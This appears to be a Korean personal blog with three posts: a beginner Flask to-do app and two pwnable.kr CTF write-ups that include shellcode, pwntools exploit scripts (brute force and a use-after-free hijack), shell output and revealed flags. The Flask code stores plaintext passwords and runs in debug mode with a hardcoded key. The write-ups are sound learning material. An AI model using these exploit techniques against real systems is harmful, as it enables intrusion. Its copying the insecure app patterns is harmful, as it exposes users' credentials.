Create WishList


flask 공부할 겸, 그냥 단순하게 Life/Year/Month/Week/Day 로 나뉘어 할 일 리스트를 만들어 보고 싶었다.

자바스크립트를 좀 맛깔나게 만들어 동적인 연출을 나타내려 했으나... ㅜ

귀찮았다.


아무튼 html과 css를 조합해서 대충 비슷한 효과를 내도록 만들었다.

기능은 대충 구현했지만, 디자인이 하자인데..

프론트 엔드 개발자를 목표로 안하길 잘한 것 같다.

개인적으로 미적 감각이 있다고 생각하는데 요건 좀 아닌거 같다.


bob 하면서 까먹고 있다가 급하게 올림.

wish.py

#!/usr/bin/python3
from flask import Flask, url_for, render_template, request, redirect, session, flash
from flask_sqlalchemy import SQLAlchemy

app = Flask(__name__)
app.config['SECRET_KEY'] = 'TESTKEY'
app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///test.db'
app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False
db = SQLAlchemy(app)

class User(db.Model):
   __table_name__ = 'user'
   id = db.Column(db.Integer, primary_key=True)
   username = db.Column(db.String(100), unique=True, nullable=False)
   password = db.Column(db.String(100), nullable=False)
   notes = db.relationship('Note', backref='owner')

   def __init__(self, username, password):
       self.username = username
       self.password = password

class Note(db.Model):
   __table_name__ = 'note'
   id = db.Column(db.Integer, primary_key=True)
   summary = db.Column(db.String(30), nullable=False)
   detail = db.Column(db.String(200), nullable=True)
   category = db.Column(db.Integer, nullable=False)

   user_id = db.Column(db.Integer, db.ForeignKey('user.id'))


@app.route('/', methods=['GET', 'POST'])
def home():
   if session.get('logged_in'):
       resp_note = Note.query.filter_by(user_id=session.get('user_id')).all()
       print('return note test')
       print(dir(resp_note[0]))
       # print(resp_note[0])
       return render_template('home.html', notes=resp_note, isLogin=True)

   print('Dummy Context!')
   return render_template('home.html')

@app.route('/register', methods=['GET', 'POST'])
def register():
   if request.method == 'POST':
       new_user = User(username=request.form['username'], password=request.form['password'])
       db.session.add(new_user)
       db.session.commit()
       return redirect(url_for('login'))

   return render_template('register.html')


@app.route('/login', methods=['GET', 'POST'])
def login():
   if request.method == 'POST':
       username = request.form['username']
       password = request.form['password']
       resp = User.query.filter_by(username=username, password=password).first()
       if resp is not None:
           session.clear()
           session['user_id'] = resp.id
           session['logged_in'] = True
           print(dir(session))
           print(session)
           return redirect(url_for('home'))
       else:
           error = 'Incorrect ID or Password!'
           flash(error)
   return render_template('login.html')

@app.route('/logout')
def logout():
   session.clear()
   return redirect(url_for('home'))

@app.route('/update/<int:id>', methods=['POST'])
def update(id):
   if request.method == 'POST':
       print('add request')
       print(dir(request))
       print(request.form['summary'])
       print(request.form['detail'])
       new_note = Note(
           summary = request.form['summary'],
           detail = request.form['detail'],
           category = id,
           user_id = session['user_id']
      )
       db.session.add(new_note)
       db.session.commit()
       return redirect(url_for('home'))

@app.route('/delete/<int:id>')
def delete(id):
   note = Note.query.filter_by(user_id=session['user_id'], id=id).first()
   if not note is None:
       print(note)
       db.session.delete(note)
       db.session.commit()
   print('delete' + str(id))
   return redirect(url_for('home'))

if __name__ == '__main__':
   db.create_all()
   app.run(host='0.0.0.0', port=5000 ,debug=True)

home.html

<!DOCTYPE html>
<html lang="en">
<head>
   <meta charset="UTF-8">
   <meta name="viewport" content="width=device-width, initial-scale=1.0">
   <meta http-equiv="X-UA-Compatible" content="ie=edge">
   <link rel="stylesheet" href="{{ url_for('static', filename='style.css') }}">
   <title>Document</title>
</head>
<body>
   <header>
       <h1 class="Main">My WishList</h1>
       <div>
      {% if not isLogin %}
       <button onClick="location.href='/login'">Sign In</button>
       <button onClick="location.href='/register'">Register</button>
      {% else %}
       <button onClick="location.href='/logout'">Log Out</button>
      {% endif %}
       </div>
   </header>

   <article>
       <div class="part" id="part0">
       <h1 class="category" onClick="swap(0)">Life</h1>
       <ul>
      {% for note in notes %}
          {% if note['category'] == 0 %}
               <li>
                   <button class="check" onClick="check_click({{ note['id'] }})"></button>
                   <span class="note_font">
                      {{ note['summary'] }}
                   </span>
               </li>
          {% endif %}
      {% endfor %}
       </ul>    
       </div>
       
       <div class="part" id="part1">
       <h1 class="category" onClick="swap(1)">Year</h1>
       <ul>
      {% for note in notes %}
          {% if note['category'] == 1 %}
               <li>
                   <button class="check" onClick="check_click({{ note['id'] }})"></button>
                   <span class="note_font">
                      {{ note['summary'] }}
                   </span>                
               </li>
          {% endif %}
      {% endfor %}
       </ul>    
       </div>
   
       <div class="part" id="part2">
       <h1 class="category" onClick="swap(2)">Month</h1>
       <ul>
      {% for note in notes %}
          {% if note['category'] == 2 %}
               <li>
                   <button class="check" onClick="check_click({{ note['id'] }})"></button>
                   <span class="note_font">
                      {{ note['summary'] }}
                   </span>
               </li>
          {% endif %}
      {% endfor %}
       </ul>  
       </div>
       
       <div class="part" id="part3">
       <h1 class="category" onClick="swap(3)">Week</h1>
       <ul>
      {% for note in notes %}
          {% if note['category'] == 3 %}
               <li>
                   <button class="check" onClick="check_click({{ note['id'] }})"></button>
                   <span class="note_font">
                      {{ note['summary'] }}
                   </span>
               </li>
          {% endif %}
      {% endfor %}  
       </ul>    
       </div>
   
       <div class="part" id="part4" style="display:none">
           <h1 class="category" onClick="swap(4)">Today!</h1>
           <ul>
          {% for note in notes %}
              {% if note['category'] == 4 %}
                   <li>
                       <button class="check" onClick="check_click({{ note['id'] }})"></button>
                       <span class="note_font">
                          {{ note['summary'] }}
                       </span>
                   </li>
              {% endif %}
          {% endfor %}
           </ul>
       </div>
   </article>


   <footer>
   <div class="main" id="main0" style="display:none">
       <h1 class="main_category">Life!</h1>
       <ul>
          {% for note in notes %}
              {% if note['category'] == 0 %}
                   <li>
                       <button class="check" onClick="check_click({{ note['id'] }})"></button>
                       <span class="main">
                          {{ note['summary'] }}
                       </span>
                       <p class="main">
                          {{ note['detail'] }}
                       </p>
                   </li>
              {% endif %}
          {% endfor %}
       </ul>
   </div>    
   <div class="main" id="main1" style="display:none">
       <h1 class="main_category">Year!</h1>
       <ul>
          {% for note in notes %}
              {% if note['category'] == 1 %}
                   <li>
                       <button class="check" onClick="check_click({{ note['id'] }})"></button>
                       <span class="main">
                          {{ note['summary'] }}
                       </span>
                       <p class="main">
                          {{ note['detail'] }}
                       </p>
                   </li>
              {% endif %}
          {% endfor %}
       </ul>
   </div>
   <div class="main" id="main2" style="display:none">
       <h1 class="main_category">Month!</h1>
       <ul>
          {% for note in notes %}
              {% if note['category'] == 2 %}
                   <li>
                       <button class="check" onClick="check_click({{ note['id'] }})"></button>
                       <span class="main">
                          {{ note['summary'] }}
                       </span>
                       <p class="main">
                          {{ note['detail'] }}
                       </p>
                   </li>
              {% endif %}
          {% endfor %}
       </ul>
   </div>
   <div class="main" id="main3" style="display:none">
       <h1 class="main_category">Week!</h1>
       <ul>
              {% for note in notes %}
                  {% if note['category'] == 3 %}
                       <li>
                           <button class="check" onClick="check_click({{ note['id'] }})"></button>
                           <span class="main">
                              {{ note['summary'] }}
                           </span>
                           <p class="main">
                              {{ note['detail'] }}
                           </p>
                       </li>
                  {% endif %}
              {% endfor %}
           </ul>
   </div>

   <div class="main" id="main4" style="display:block">
      <h1 class="main_category">Today!</h1>
      <ul>
          {% for note in notes %}
              {% if note['category'] == 4 %}
                   <li>
                       <button class="check" onClick="check_click({{ note['id'] }})"></button>
                       <span class="main">
                          {{ note['summary'] }}
                       </span>
                       <p class="main">
                          {{ note['detail'] }}
                       </p>
                   </li>
              {% endif %}
          {% endfor %}
       </ul>
   </div>
   
   <div class="add">
       <form name="addSchedule" method="post" action="{{ url_for('update', id=4) }}">  
           <label for="summary">Summary</label>
           <input type="text" class="" name="summary">
           <label for="detail">Detail</label>
           <input type="text" class="" name="detail">
           <input type="submit" value="add">
       </form>
   </div>
   </footer>
   
   <script>
   var divlist = [0,1,2,3,4]
   var x = 0;
   function div_align(){
       console.log(divlist)
       for (var i of divlist){
           var obj1 = document.getElementById('part'+(i));
           obj1.style.display = "block";
           var obj2 = document.getElementById('main'+(i));
           obj2.style.display = "none";
      }
  }
   
   function swap(order=4){
       const idx = divlist.indexOf(order);
       divlist.splice(idx, 1);
       divlist.sort();
       document.getElementById('part'+order).style.display = "none";
       document.getElementById('main'+order).style.display = "block";
       
       div_align();
       divlist.push(order);
       var addForm = document.getElementsByName('addSchedule')[0];
       addForm.action = addForm.action.substring(0, addForm.action.length-1) + order;
       console.log(addForm.action);
  }
   function check_click(id){
       console.log('check'+id)
       location.href = "/delete/"+(id)
  }
   </script>
</body>
</html>

login.html

<!DOCTYPE html>
<html lang="en">
<head>
   <meta charset="UTF-8">
   <meta name="viewport" content="width=device-width, initial-scale=1.0">
   <meta http-equiv="X-UA-Compatible" content="ie=edge">
   <title>Document</title>
</head>
<body>
   <h1>login</h1>
   <form method="post">
       <label for="username">Username</label>
       <input type="text" name="username">
       <label for="password">Password</label>
       <input type="text" name="password">
       <input type="submit" value="Sign In">
   </form>
  {% with messages = get_flashed_messages() %}
      {% if messages %}
           <ul>
              {{ messages[0] }}
           </ul>
      {% endif %}
  {% endwith %}
</body>
</html>

register.html

<!DOCTYPE html>
<html lang="en">
<head>
   <meta charset="UTF-8">
   <meta name="viewport" content="width=device-width, initial-scale=1.0">
   <meta http-equiv="X-UA-Compatible" content="ie=edge">
   <title>Document</title>
</head>
<body>
   <h1>register</h1>
   <form method="post">
       <label for="username">Username</label>
       <input type="text" name="username">
       <label for="password">Password</label>
       <input type="password" name="password">
       <input type="submit" value="Register">
   </form>
  {% with messages = get_flashed_messages() %}
      {% if messages %}
           <ul>
              {{ messages[0] }}
           </ul>
      {% endif %}
  {% endwith %}
</body>
</html>

style.css

html {
   background-color: #2f3542;
}

header {
   /* background-color: #7bed9f; */
   display: flex;
   justify-content: center;
   align-items: center;
}

h1 {
   font-size: 40px;
   color: whitesmoke;
   margin-top: 20px;
   cursor: pointer;
}

h1.Main {
   border: 5px solid #a4b0be;
   padding: 15px 200px 15px 200px;
   margin-right: 20px;
}

h1.category {
   margin: 30px 0px 0px 30px;
}

article {
   display: flex;
   margin-top: 20px;
}

div.part {
   /* justify-content: center; */
   /* align-items: center; */
   display: flex;
   flex-direction: column;
   width: 20%;
   height: 270px;
   border: 3px dashed #a4b0be;
   margin-left: 15px;
   color: whitesmoke;
}

ul {
   list-style: none;
   padding-left: 10px;
}

button.check {
   height: 20px;
   width: 25px;
   font-size: 15px;
   font-weight: bolder;
   color: green;
   text-align: center;
   cursor: pointer;
}

span.note_font {
   font-size: 20px;
}

div.main {
   width: 90%;
   margin: 20px 20px 20px 20px;
   color: whitesmoke;
}

h1.main_category {
   font-size: 50px;
}

span.main {
   font-size: 25px;
}

p.main {
   font-size: 20px;
   margin-left: 50px;
}

div.add {
   margin: 20px 20px 20px 20px;
}

footer {
   width: 875px;
   border: 3px dashed #a4b0be;
   margin: 15px 15px 15px 15px;
}


'Side Project# > Wish List' 카테고리의 다른 글

Create WishList  (0) 2019.07.13

[pwnable.kr] fix writeup


[summary] stack unlimited, control esp

Why bother to make your own shellcode?
I can simply copy&paste from shell-storm.org
so I just copied it from shell-storm then used it for my buffer overflow exercise
but it doesn't work :(
can you please help me to fix this??


ssh fix@pwnable.kr -p2222 (pw:guest)

ㄱㄱ

#include <stdio.h>

// 23byte shellcode from http://shell-storm.org/shellcode/files/shellcode-827.php
char sc[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69"
"\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80";

void shellcode(){
// a buffer we are about to exploit!
char buf[20];

// prepare shellcode on executable stack!
strcpy(buf, sc);

// overwrite return address!
*(int*)(buf+32) = buf;

printf("get shell\n");
}

int main(){
   char *a = "asdfasdf"
       printf("What the hell is wrong with my shellcode??????\n");
       printf("I just copied and pasted it from shell-storm.org :(\n");
       printf("Can you fix it for me?\n");

unsigned int index=0;
printf("Tell me the byte index to be fixed : ");
scanf("%d", &index);
fflush(stdin);

if(index > 22) return 0;

int fix=0;
printf("Tell me the value to be patched : ");
scanf("%d", &fix);

// patching my shellcode
sc[index] = fix;

// this should work..
shellcode();
return 0;
}

eip가 쉘코드로 뛴 다음에 프로그램이 터지는 이유는 stack 공간 상에서 쉘코드가 동작하면서 push를 통해 기존 쉘코드의 값에 영향을 주기 때문이다. 쉘코드의 맨 뒷 부분과 esp 간에 3*4bytes의 공간밖에 없다.

gdb-peda$ x/20wx $esp - 24
0xffffcee8: 0x50e3896e 0xb0e18953 0x0080cd0b 0xffffcf08
0xffffcef8: 0xffffcf18 0xffffcedc 0x00000001 0xffffcfc4

주어진 쉘코드를 살펴보면 다음과 같다.

gdb-peda$ disass /r 0x804a02c
Dump of assembler code for function sc:
  0x0804a02c <+0>: 31 c0 xor    eax,eax
  0x0804a02e <+2>: 50 push   eax
  0x0804a02f <+3>: 68 2f 2f 73 68 push   0x68732f2f
  0x0804a034 <+8>: 68 2f 62 69 6e push   0x6e69622f
  0x0804a039 <+13>: 89 e3 mov    ebx,esp
  0x0804a03b <+15>: 50 push   eax
  0x0804a03c <+16>: 53 push   ebx
  0x0804a03d <+17>: 89 e1 mov    ecx,esp
  0x0804a03f <+19>: b0 0b mov   al,0xb
  0x0804a041 <+21>: cd 80 int   0x80
  0x0804a043 <+23>: 00 00 add   BYTE PTR [eax],al

문제가 의도하는 것은 그럼 저 쉘코드 중 한 바이트를 어떤 값으로 변경하라는 것 같은데, 솔직히 감이 잘 안잡혔다.

그래서 그냥 바로 브루트 포싱을 돌렸다. 23 * 256 = 5888 정도로 충분히 돌려볼 만하다.

exploit

#!/usr/bin/python
from pwn import *
import sys

#context.log_level = 'debug'
for i in range(0, 23):
for j in range(0, 0xff+1):
r = process('./fix')
#r.interactive()
#r.recvuntil('Can you fix it for me?\n')

r.sendline(str(i))
r.sendline(str(j))
r.recvuntil('get shell\n')
print i, j
try:
r.sendline('id')
r.recv(100)
r.interactive()
except:
print 'sorry..'
r.close()
continue

바이너리에 버퍼가 할당되어 있어서 싱크가 좀 안맞아서 순서가 좀 이상하긴 한데, 저렇게 하면 돌아가긴 한다.

ch4rli3kop@ubuntu16:~/pwn/pwnable.kr/fix$ ./fix
What the hell is wrong with my shellcode??????
I just copied and pasted it from shell-storm.org :(
Can you fix it for me?
Tell me the byte index to be fixed : 15
Tell me the value to be patched : 201
get shell
/bin//sh: 0: Can't open ����
                            P��c

sc[15] = 201로 했더니 특별한 반응을 보여서 테스트해보니, 뭔가 실행되는거 같으면서도 안됀다. 아마 인자가 잘못들어간듯. 어셈을 살펴보았더니, 기존 push eaxleave로 바꿨다.

0xffffcedc: xor    eax,eax
0xffffcede: push   eax
0xffffcedf: push   0x68732f2f
0xffffcee4: push   0x6e69622f
0xffffcee9: mov    ebx,esp
0xffffceeb: leave  
0xffffceec: push   ebx
0xffffceed: mov    ecx,esp
0xffffceef: mov   al,0xb
0xffffcef1: int   0x80

leave과정은 mov esp, ebp; pop ebp와 동일하기 때문에, 해당 과정을 통해 esp를 이전 프레임으로 옮겨 프로그램을 실행하게 되는데, 에러가 나는 이유를 살펴보니 argv를 구성하는 과정에서 이상한 값이 들어가서 그런 것 같다.

argv에 ["/bin/sh", NULL]을 만들어야하는데, 기존의 push eax를 통해 NULL을 만들었으나 leave를 이용하여 뛴 공간에 이상한 값이 들어있어, /bin/sh로 해당 인자를 실행시키려하는 과정에서 오류가 발생한 것 같음

어쨋든 push eax 대신에 0이 들어있는 곳으로 esp를 이동시키면 된다는 것이다.

그런데 모든 값을 다 넣어도 201밖에 응답이 없어서 그걸 이용해서 해보려고, 해당 인자를 어떻게 심볼릭 링크로 연결해서 해보려고도 했는데, 잘 안돼서 결국 힌트를 봤다..

ulimit -s을 이용한다고 했는데, 아마 스택 공간을 엄청 크게해서 어디로 esp가 가더라도 동작이 제대로 하도록 하는 것 같다. 스택이 무제한으로 할당되는 거를 확인해보고 싶은데 gdb로는 확인할 수가 없어서 정확히 어떻게 되는지는 모르겠다. 나중에 멘토님한테 여쭤봐야겠다.

result

fix@prowl:~$ ulimit -s unlimited
fix@prowl:~$ ./fix
What the hell is wrong with my shellcode??????
I just copied and pasted it from shell-storm.org :(
Can you fix it for me?
Tell me the byte index to be fixed : 15
Tell me the value to be patched : 92
get shell
$ id
uid=1049(fix) gid=1049(fix) egid=1050 groups=1050,1049(fix)
$ cat flag
Sorry for blaming shell-strom.org :) it was my ignorance!


'Writeup$ > Pwnable.kr' 카테고리의 다른 글

[pwnable.kr] fix writeup  (0) 2019.07.13
[pwnable.kr] dragon writeup  (0) 2019.07.13
[pwnable.kr] fsb writeup  (0) 2019.07.13
[pwnable.kr] tiny_easy writeup  (0) 2019.07.13
[pwnable.kr] ascii_easy writeup  (0) 2019.07.13
[pwnable.kr] otp writeup  (0) 2019.07.13

[pwnable.kr] dragon writeup


[summary] byte overflow

I made a RPG game for my little brother.
But to trick him, I made it impossible to win.
I hope he doesn't get too angry with me :P!

Author : rookiss
Download : http://pwnable.kr/bin/dragon

Running at : nc pwnable.kr 9004

structure

00000000 Monster         struc ; (sizeof=0x10, mappedto_1)
00000000 ptr             dd ?                   ; offset
00000004 num             dd ?
00000008 HP              db ?
00000009 MP              db ?
0000000A                 db ? ; undefined
0000000B                 db ? ; undefined
0000000C attack          dd ?                   ; offset
00000010 Monster         ends
00000010
00000000 ; ---------------------------------------------------------------------------
00000000
00000000 User            struc ; (sizeof=0x10, mappedto_2)
00000000 num             dd ?
00000004 HP              dd ?
00000008 MP              dd ?
0000000C ptr             dd ?
00000010 User            ends

바이너리에서 사용하는 구조체는 대충 요렇게 생겼다.

vulnerability

int PriestAttack(struct User *User, struct Monster *Monster){
...
puts("HolyShield! You Are Temporarily Invincible...");
printf("But The Dragon Heals %d HP!\n", Monster->MP);
Monster->HP += Monster->MP;
User->MP -= 25;
...
}

PriestHollyShield 스킬을 사용해가면서 존버하다보면 HPchar 형으로 선언되어 있기 때문에, 어느순간 몬스터의 HP가 오버플로우가 일어나서 음수가 된다. 이를 이용하면 Mama Dragon을 이길 수 있다. Baby Dragon은 이길 수 없으시다.. 넘오쌤..

Mama Dragon을 이기면 Monster가 사용하던 heap 공간이 free되는데, FightDragon()의 루틴을 살펴보면 이미 free된 Monster의 heap 공간을 다시 사용하는 것을 볼 수 있다. 전형적인 uaf임.

int FightDragon(int choice){
  ...
puts("Well Done Hero! You Killed The Dragon!");
   puts("The World Will Remember You As:");
   str = malloc(0x10u);
   __isoc99_scanf("%16s", str);
   puts("And The Dragon You Have Defeated Was Called:");
  ((void (__cdecl *)(struct Monster *))Monster->ptr)(Monster);
...
}

fastbin의 규칙으로 인해 str은 결국 free되었던 Monster의 공간을 다시 할당받기 때문에, 위의 동작은 임의의 주소공간의 코드를 execution 시키는 것을 유발할 수 있다.

exploit

#!/usr/bin/python
from pwn import *

def skip_baby():
r.sendlineafter('Knight\n','2')
r.sendlineafter('But You Lose 20 HP.\n', '2')

def kill_the_dragon():
r.sendlineafter('[ 2 ] Knight\n', '1')
for i in range(4):
r.sendlineafter('Temporarily Invincible.\n', '3')
r.sendlineafter('Temporarily Invincible.\n', '3')
r.sendlineafter('Temporarily Invincible.\n', '2')


#r = process('./dragon')
r = remote('pwnable.kr', 9004)

skip_baby()
kill_the_dragon()

_system = 0x8048530
shell = 0x08048DBF

payload = p32(shell)

r.sendlineafter('The World Will Remember You As:\n', payload)


r.interactive()

result

ch4rli3kop@ubuntu16:~/pwn/pwnable.kr/dragon$ python sol_dragon.py 
[+] Opening connection to pwnable.kr on port 9004: Done
[*] Switching to interactive mode
And The Dragon You Have Defeated Was Called:
$ id
uid=1048(dragon) gid=1048(dragon) groups=1048(dragon)
$ ls -l
total 36
-r-xr-x--- 1 root dragon 12284 Jul  1  2014 dragon
-r--r----- 1 root dragon    27 Jul  1  2014 flag
-rw------- 1 root dragon 12950 Jul 11 04:34 log
-rwx------ 1 root root     769 Sep 11  2014 super.pl
$ cat flag
MaMa, Gandhi was right! :)


'Writeup$ > Pwnable.kr' 카테고리의 다른 글

[pwnable.kr] fix writeup  (0) 2019.07.13
[pwnable.kr] dragon writeup  (0) 2019.07.13
[pwnable.kr] fsb writeup  (0) 2019.07.13
[pwnable.kr] tiny_easy writeup  (0) 2019.07.13
[pwnable.kr] ascii_easy writeup  (0) 2019.07.13
[pwnable.kr] otp writeup  (0) 2019.07.13

+ Recent posts